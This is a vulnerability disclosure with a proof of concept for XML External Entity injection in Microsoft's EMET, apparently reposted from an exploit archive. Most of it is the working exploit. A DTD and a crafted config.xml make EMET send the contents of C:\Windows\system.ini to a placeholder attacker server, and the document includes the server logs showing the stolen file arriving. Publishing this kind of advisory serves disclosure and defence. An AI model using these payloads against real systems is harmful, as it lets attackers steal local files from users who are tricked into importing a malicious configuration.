Enhanced Mitigation Experience Toolkit (EMET) XML Injection Vulnerability

[+] Credits: John Page (aka hyp3rlinx)  

Vendor:
================
www.microsoft.com


Product:
===========
Enhanced Mitigation Experience Toolkit (EMET)

Enhanced Mitigation Experience Toolkit is a freeware security toolkit for Microsoft Windows, developed by Microsoft.
It provides a unified interface to enable and fine-tune Windows security features. 



Vulnerability Type:
===================
XML External Entity Injection



CVE Reference:
==============
N/A


Security Issue:
================
EMETs XML parser does not account for external entity declarations in ".config" files. This allows outbound network connections and users local files
to be exfiltrated to remote attacker controlled server. Conditions are a user must be tricked into importing a specially crafted XML file.



Exploit/POC:
=============
1) python -m SimpleHTTPServer


2) "payload.dtd" 

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACK-SERVER:8000?%file;'>">
%all;


3) "config.xml" 

import into EMET interface.


<?xml version="1.0"?>
<!DOCTYPE emet_poc [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACK-SERVER:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Result seen on ATTACK-SERVER:
=============================

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
PC - - [19/May/2018 22:53:02] "GET /payload.dtd HTTP/1.1" 200 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa
ve=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 301 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa

#  0day.today [2018-07-01]  #